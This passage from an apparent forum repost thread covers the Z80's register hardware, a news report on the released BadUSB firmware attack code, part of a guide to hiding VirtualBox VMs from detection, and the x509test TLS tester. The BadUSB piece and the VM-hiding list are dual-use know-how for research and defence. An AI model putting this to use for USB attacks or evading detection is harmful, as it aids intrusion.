instruction exchanges the AF and AF' registers. The EXX instruction exchanges the BC, DE, and HL registers with the BC', DE', and HL' registers. These instructions complete very quickly, which raises the question of how multiple 16-bit register values can move around the chip at once. It turns out that these instructions don't move anything. They just toggle a bit that renames the appropriate registers. For example, consider exchanging the DE and HL registers. If the DE/HL bit is set, an instruction acting on DE uses the first register and an instruction acting on HL uses the second register. If the bit is cleared, a DE instruction uses the second register and a HL instruction uses the first register. Thus, from the programmer's perspective, it looks like the values in the registers have been swapped, but in fact just the meanings/names/labels of the registers have been swapped. Likewise, a bit selects between AF and AF', and a bit selects between BC, DE, HL and the alternates. In all, there are four registers that can be used for DE or HL; physically there aren't separate DE and HL registers. The hardware to implement register renaming is interesting, using four toggle flip flops.[7] These flip flops are toggled by the appropriate EX and EXX instructions. One flip flop handles AF/AF'. The second flip flop handles BC/DE/HL vs BC'/DE'/HL'. The last two flip flops handle DE vs HL and DE' vs HL'. Note that two flip flops are required since DE and HL can be swapped independently in either register bank. The flags The flags have a dual existence. The flags are stored inside the register file, but at the start of every instruction,[8] they are copied into latches above the ALU. From this location, the flags can be used and modified by the ALU. (For example, add or shift operations use the carry flag.) At the end of an instruction that affects flags, the flags are copied from the latches back to the register file. Most of the flags are generated by the ALU (details here). The circuitry to set and use the carry is complicated, since it is used in different ways by shifts and rotates, as well as arithmetic. Conditional operations are another important use of the flags.[9] The WZ temporary registers The Z80 (like the 8080 and 8085) has a WZ register pair that is used for temporary storage but is invisible to the programmer. The primary use of WZ is to hold an operand from a two or three byte instruction until it can be used.[10] The JP (jump) instruction shows why the WZ registers are necessary. This instruction reads a two-byte address following the opcode and jumps to that address. Since the Z80 only reads one byte at a time, the address bytes must be stored somewhere while being read in, before the jump takes place. (If you read the bytes directly into the program counter, you'd end up jumping to a half-old half-new address.) The WZ register pair is used to hold the target address as it gets read in. The CALL (subroutine call) instruction is similar. Another example is EX (SP), HL which exchanges two bytes on the stack with the HL register. The WZ register pair holds the values at (SP+1) and (SP) temporarily during the exchange. How the registers are implemented in silicon The building block for the registers is a simple circuit to store one bit, consisting of two inverters in a feedback loop. In the diagram below, if the top wire has a 0, the right inverter will output a 1 to the bottom wire. The left inverter will then output a 0 to the top wire, completing the cycle. Thus, the circuit is stable and will "remember" the 0. Likewise, if the top wire is a 1, this will get inverted to a 0 at the bottom wire, and back to a 1 at the top. Thus, this circuit can store either a 0 or a 1, forming a 1-bit memory.[11] In the Z80, two coupled inverters hold a single bit in the register. This circuit is stable in either the 0 or 1 state. How does a value get stored into this inverter pair? Surprisingly, the Z80 just puts stronger signals on the wires, forcing the inverters to take the new values.[12] There's no logic involved, just "might makes right". (In contrast, the 6502 uses an additional transistor in the inverter feedback loop to break the feedback loop when writing a new value.) To support multiple registers, each register bit is connected to bus lines by two pass transistors. These transistors act as switches that turn on to connect one register to the bus. Each register has a separate bus control signal, connecting the register to the bus when needed. Note that there are two bus lines for each bit - the value and its complement. As explained above, to write a new value to the bit, the new value is forced into the inverters. There are 16 pairs of bus lines running horizontally through the register file, one for each bit. Each bit of register storage is connected to the bus by pass transistors, allowing the bit to be read or written. Next, to see how an inverter works, the schematic below shows how an inverter is implemented in the Z80. The Z80 uses NMOS transistors, which can be viewed as simple switches. If a 1 is input to the transistor's gate, the switch closes, connecting ground (0) to the output. If a 0 is input to the gate, the switch opens and the output is pulled high (1) by the resistor. Thus, the output is the opposite of the input.[13] Implementation of an inverter in NMOS. Putting this all together - the two inverters and the pass transistors - yields the following schematic for a single bit in the register file. The layout of the schematic matches the actual silicon where the inverters are positioned to minimize the space they take up. The bus lines and ground run horizontally. The control line to connect a register to the buses runs vertically, along with the 5V power line. Schematic of one bit inside the Z80's register file. The diagram below shows the physical implementation of a register bit in the Z80, superimposed on a photo of the die. It's tricky to understand this, but comparing with the schematic above should help. The silicon is in green, the polysilicon is in red, and the metal lines are in blue. Transistors occur where the polysilicon (red) crosses the silicon (green). The X in a box indicates a contact connecting two layers. Note the large area taken up by the resistors (which are formed from depletion-mode transistors). Additional register bits can be seen in the photo, surrounding the bit illustrated. This diagram shows the layout on silicon of one bit of register storage. Green indicates silicon, red indicates polysilicon, and blue is the metal layer. Zooming out, the picture below shows the upper right part of the register file. Each bit consists of a structure like the one above. Each column is a separate register, with a separate control line, and each row is one of the bits. The columns are in groups of two, with the register control lines between the pairs of columns. Zooming out more, the image at the top of the article shows the full register file and its location in the chip. Thus, you can see how the entire register file is built up from simple transistors. A detail of the Z80 chip, showing part of the register file. Comparison with the 6502 and 8085 While the Z80's register complement is tiny compared to current processors, it has a solid register set by 1976 standards - about twice as many registers as the 8085 and about four times as many registers as the 6502. Because they share the 8080 heritage, many of the 8085's registers are similar to the Z80, but the Z80 adds the IX and IY index registers, as well as the second set of registers. The physical structure of the Z80's register file is similar to the 8085 register file. Both use 6-transistor static latches arranged into a 16-bit wide grid. The 8085, however, uses complex differential sense amplifiers to read the values from the registers. The Z80, by contrast, just uses regular gates. I suspect the 8085's designers saved space by making the register transistors as small as possible, requiring extra circuitry to read the weak values on the bus lines. The 6502, on the other hand, doesn't have a separate register file. Instead, registers are put on the chip where it turns out to be convenient. Since the 6502 has fewer registers, the register circuitry doesn't need to be as optimized and each bit is more complex. The 6502 adds a transistor to each bit so it is clocked, and separate pass transistors for read and write. One consequence is direct register-to-register transfers are possible on the 6502, since the source and destination registers can be distinguished. Instead of a separate incrementer unit, the 6502's program counter is tangled in with the incrementer circuitry. Conclusion By looking at the silicon of the Z80 in detail, we can determine exactly how it works. The Z80's register file has more complexity than you'd expect and the hardware implementation is different from published architecture diagrams. By splitting the register file in two, the Z80 runs faster since registers can be updated in parallel. The Z80 includes a WZ register pair for temporary storage that isn't visible to the programmer. The Z80's register storage has many similarities to the 8085, both in the registers provided and their hardware implementation, but is very different from the 6502. Credits: This couldn't have been done without the Visual 6502 team especially Chris Smith, Ed Spittles, Pavel Zima, Phil Mainwaring, and Julien Oster. All die photos are from the visual 6502 team. Notes and references [1] There are many variants of that architecture diagram; the one above is from Wikipedia. The original source of the common Z80 architecture diagram is the book Programming the Z80 by Rodnay Zaks, page 65 (HTML or PDF). The book is an extremely detailed guide to the Z80, down to the instruction cycles. I don't mean to criticize the architecture diagram by pointing out differences between it and the actual silicon. After all, it is a logic-level diagram intended for use by programmers, not a hardware reference. But it is interesting to see the differences between the programmer's view and the hardware implementation. [2] Zilog's Z80 CPU user manual is a key reference on the instruction set and operation of the Z80, but it doesn't provide any information on the internal architecture. [3] The Z80's memory refresh feature is described in patent 4332008. Figure 15 in the patent shows the segmented data bus used by the Z80, although it is a mirror image of the actual die. [4] I wrote more about the data buses in the Z-80 in Why the Z-80's data pins are scrambled. [5] The bit pattern 110 is an exception to the encoding of registers in instructions, since it refers to a memory location indexed by the HL register pair, rather than a register. Likewise the bit pattern 11x referring to a register pair is also an exception. It can indicate the SP register, for example in 16-bit LD, INC and DEC instructions. [6] The Z80 specifies registers in instruction bits 0-2 and bits 3-5. This maps cleanly onto octal, but not hexadecimal. One consequence is the opcodes are more logical if you arrange them in octal (like this), instead of hexadecimal (like this). Perhaps the designers of the Z80 were thinking in octal and not hex. [7] The toggle flip flops are unlike standard flip flops formed from gates. Instead they use pass transistors; this lets it hold the previous state while toggling to avoid oscillation. Because the pass transistor circuits depend on capacitance holding the values, you have to keep the clock running. This is one reason the clock in the Z80 can't stop for more than a couple microseconds. (The CMOS version is different and the clock can stop arbitrarily long.) From looking at the silicon, it appears that these flip flops required some modifications to work reliably, probably to ensure they toggled exactly once. These flip flops have no reset logic, so it is unpredictable how the registers get assigned on power-up. Since there's no way to tell which register is which, this doesn't matter. The active DE vs HL flip flop swaps the DE and HL register control lines using pass-gate multiplexers. The main vs alternate register set flip flops direct each AF/BC/DE/HL register control line to one of the two registers in the pair. [8] Like many processors of its era, the Z80 starts fetching a new instruction before the previous instruction is finished; this is known as fetch/execute overlap. As a result, the flags are actually written from the latches to the register file three cycles into the next instruction (i.e. T3), and the flags are read from the register file into the latches four cycles into the instruction (i.e. T4). [9] I'll explain briefly how conditional instructions such as jump (JP) work with the flags. Bits 4 and 5 of the opcode select the flag to use (via a multiplexer just to the right of the registers). Bit 3 of the opcode indicates the desired value (clear or set); this bit is XORed with the selected flag's value. The result indicates if the desired condition is satisfied or not, and is fed into the control logic to determine the appropriate action. The JR and DJNZ don't exactly fit the pattern so a couple additional gates adjust their bits to pick the right flags. [10] For more explanation of the WZ registers, see Programming the Z80, pages 87-91. [11] The register storage in the Z80 is called "static" memory, since it will store data as long as the circuit has power. In contrast, your computer uses dynamic memory, which will lose data in milliseconds if the data isn't constantly refreshed. The advantage of dynamic memory is it is much simpler (a transistor and a capacitor), and thus each cell is much smaller. (This is how DRAM can fit gigabits onto a single chip.) Another alternative is flash memory, which has the big advantage of keeping its contents while the power is turned off. [12] If you've built electronic circuits, it may seem dodgy to force the inverters to change values by overpowering the outputs. But this is a standard technique in chips. To understand what happens, remember that in an NMOS circuit, a 0 output is created by a transistor to ground, while a 1 output is made by a much weaker resistor. So if one of the inverters is outputting a 1 and a 0 is connected to the output, the 0 will "win". This will cause the other inverter to immediately switch to 1. At this point, the original inverter will switch to output 0 and the inverter pair is now stable with the new values. To improve speed, and to prevent a low voltage on the bus from accidentally clearing a bit while reading a register, the bus lines are all precharged to +5 every clock cycle. A low output from an inverter will have no trouble pulling the bus line low, and a high output will leave the bus line high. The precharging is done through transistors in the space between the IR and WZ registers. [13] One disadvantage of NMOS logic is the pull-up resistors waste power. In addition, the output is fairly slow (by computer standards) to change from 0 to 1 because of the limited current through the resistor. For these, reasons, NMOS has been almost entirely replaced by CMOS logic which instead of resistors uses complementary transistors to pull the output high. (As a result, CMOS uses almost no power except while switching outputs from one state to another. For this reason, CMOS power usage scales up with frequency, which is why CPUs are hitting clock limits - they're too hot to run any faster.) Sursa: Ken Shirriff's blog: Down to the silicon: how the Z80's registers are implemented

by Pierluigi Paganini on October 4th, 2014 Two researchers Brandon Wilson and Adam Caudill released their attack code to reprogram USB sticks and use them as an undetectable hacking instrument. Recently, two independent researchers, Brandon Wilson and Adam Caudill, have released the code which can reprogram, benign USB devices turning them in malicious components. The experts published the code on the Github raising the question related to the real level of security of USB devices, the BadUSB research was approached in detail during the Black Hat conference when security experts demonstrated the risks related to an undetectable menace carried via USB. Security experts explained that USB devices can be used to compromise personal computers in a potential new type of attacks that could not be detected with all actual security protections. Karsten Nohl, chief scientist with Berlin’s SR Labs, discovered that bad actors could exploit this new class of attacks loading malicious software low-cost computer chips that control the functions of USB devices. The researchers from SR Labs, which presented the attack scheme during the Black Hat conference this summer, point a series of flaws in the software used to run a tiny electronic components, these components are usually designed without protections against tampering with their code. Hackers can uncover such flaws and exploit them creating serious problems to the targeted architecture. “You cannot tell where the virus came from. It is almost like a magic trick,” said Nohl. Nohl explained that his team has written malicious code and deployed it into USBcontrol chips used in thumb drives and smartphones, at this point it is sufficient that victims connect the USB device to a computer to trigger the execution of malicious software. Nohl and Lell’s BadUSB demonstrations during Black Hat illustrated how their code could overwrite USB firmware and turn a USB device into anything. A flash drive plugged into a PC, could for example, emulate a keyboard and issue commands that steal data from the machine, spoof a computer’s network interface and redirect traffic by altering DNS settings, or could load malware from a hidden partition on the drive. Antivirus software are not able to detect malicious firmware that controls USB devices, the code inserted with this method can be used for many purposes, including spy on communications, data tampering and log keystrokes. But while Karsten Nohl decided to not disclose the attack code, Brandon Wilson and Adam Caudill made public their source code to solicit the IT industry to adopt necessary measures for securing USB firmware from malicious manipulation. “The security of these devices is completely compromised.” “The security of these devices is completely compromised,” Wilson said. “You can’t trust anything you plug into your computer any longer, not even something as simple as a flash drive.” “We’re just taking advantage of the USB protocol,” Wilson said. “This drive is a reprogrammable computer that allows you to do all sorts of things. It allows you to be any device, and up until now, most developers had hard-coded them to behave in specific ways. The firmware on a flash drive makes it behave like a flash drive.” After Black Hat, Wilson said he bought numerous drives and tested them and were able to take advantage of existing tools used to update firmware to get their code to overwrite the firmware on the Phison device. At Derby Con, they were able to demonstrate their attack with the device pretending to be a keyboard that typed out a predetermined script once it was plugged into the host computer. They also showed another demo where they had a hidden partition on a flash drive that was not detected by the host PC. “It’s undetectable while it’s happening,” Wilson said. “The PC has no way of determining the difference. The way a PC determines the type of device all happens through the USB and code on the other device. Our ability to control that code means you cannot trust anything a USB device tells you.” This kind of attack is very insidious, it is necessary that the device manufacturers will improve the level of security for their devices, avoiding for example the unauthorized firmware overwriting using digitally signed code for the USB device firmware. “The fact that we were so easily able to change the firmware is an easy fix. The manufacturers could implement code-signing, but they don’t do that at all” Wilson said. “That needs to change. And even if they do add code-signing, you still have the other aspect which is that the computer cannot trust what you’re plugging into it. To truly fix the problem, it has to be fixed on the host.” “When you have a firmware image, you want to protect it in some way. You want a checksum, or something that the drive uses to validate that something is coming across correctly,” Wilson added. “There’s nothing like that. There needs to be something. Code signing is one approach to take for now. But to really shut it down long term, the host needs to be aware that when you plug in a device you don’t trust, it has to be given an option not to trust it. Because once you plug it in, it’s done.” Resuming, threat actors could exploit USB as an attack vector simply by reprogramming USB peripherals, so it is crucial to implement protection from such malicious reprogramming. Once reprogrammed, any USB devices could be used for various malicious purposes, including: emulates a keyboard and issue commands on behalf of the logged-in user, for example to exfiltrate files or install malware. Such malware, in turn, can infect the controller chips of other USB devices connected to the computer. spoofs a network card and change the computer’s DNS setting to redirect traffic. A modified thumb drive or external hard disk can – when it detects that the computer is starting up – boot a small virus, which infects the computer’s operating system prior to boot. Unfortunately, no effective defenses from USB attacks are possible in this moment, antivirus cannot access the firmware running on USB devices and behavioral detection very hard to implement. Pierluigi Paganini (Security Affairs – hacking, USB) Sursa: Transforming USB sticks into undetectable malicious devices | Security Affairs

[h=3]VBoxAntiVMDetectHardened mitigation (10/09/14)[/h] by EP_X0FF » Thu Aug 28, 2014 9:46 am Step by step guide for VirtualBox Hardened (4.3.14+) VM detection mitigation configuring. Later if nothing changes in Oracle product this will be moved to public forums. This guide and AntiVMDetect only applies to x86-64 Windows platform. Guide consists the following parts: 1) VirtualBox Installation 2) AntiVMDetect installation and configuring 3) VirtualBox VM installation and configuring 1) VirtualBox installation 1.1) Do clean installation of latest VirtualBox. Clean mean - you must firstly uninstall any other versions of VirtualBox and reboot Windows to complete uninstallation. This ensures that no old VBox files will left in system memory and disk. Unfortunately VBox setup sometimes can't do complete removal without reboot. 1.2) Start installation and select VirtualBox components to install as shown on fugure below. DO NOT INSTALL VirtualBox Networking, otherwise you will have problems with part 2 and 3 of this guide, as VirtualBox driver cannot be stoped when VirtualBox networking is active. This feature is pretty useless however, NAT still will be available for virtual machines. 2) AntiVMDetect VM installation and configuring 2.1) What we will target: - DMI Information; - IDE/AHCI devices (harddisks, cd-rom's); - ACPI OEM Information; - Ethernet Adapter MAC address; - PXE Boot data; - ACPI DSDT (Differentiated System Description Table); - ACPI SSDT (Secondary System Descriptor Table); - VGA Video BIOS data; - BIOS data; - VM splashscreen (optional, just for nice looking). How do we target this: we remove all sings of Oracle/Innotek signatures inside original data extracted by various ways from Oracle VirtualBox itself and then use documented and "not documented" ways to set these customized data for specific virtual machine using batch scripts, see 2.2 for more info and example. Articol complet: KernelMode.info • View topic - VBoxAntiVMDetectHardened mitigation (10/09/14)

[h=1]x509test[/h] If you have any questions, suggestions, comments, concerns, or interesting stories, please email x509test@gmail.com. Description: x509test is a software written in Python 3 that test the x509 certificate verification process of the target SSL/TLS client. The inspiration of this software comes from multiple reports on the insecurity of a SSL/TLS client due to incorrect verification of x509 certificate chain. This phenomenon is caused by many factors. One of which is the lack of negative feedback from over-acceptance of invalid certificates. This software is an attempt to increase the security of a client-side SSL/TLS software by providing negative feedbacks to the developers. Test Procedure: The software takes in a user-supplied fqdn, where the fqdn is the destination of the client connection The software reads the certificate and key of the root CA. If no root CA is specified, the software generate a self-signed certificate that acts as the root CA. (NOTE: the root certificate must be trusted by the client software; either by including it to the OS’s trust store or manually configure the client software to trust the certificate.) The software generates a set of test certificates. Some are signed directly by the root CA while others are chained with other intermediate CAs. The majority of the test certificates contain flaws. The software starts a SSL/TLS server and waits for a client to connect. Each session corresponds to a single test certificate chain. If the client completes the handshake procedure with an invalid certificate chain, or terminates the handshake procedure with a valid certificate chain, then the software will denote such behavior as a potential violation. Regardless of the outcome, the software always terminates the connection once result is obtained and starts a new session with a different test certificate chain. (NOTE: some ports require root privilege, so it is recommended to run this software in root.) Results will be printed to the terminal, or a file if specified, as the test progresses. There are only three possible results from a given test. Pass means no non-compliance behavior is observed; fail means non-compliance behavior encountered; unsupported means the underlying system in which x509test is running on does not support the particular test. Sursa: https://github.com/yymax/x509test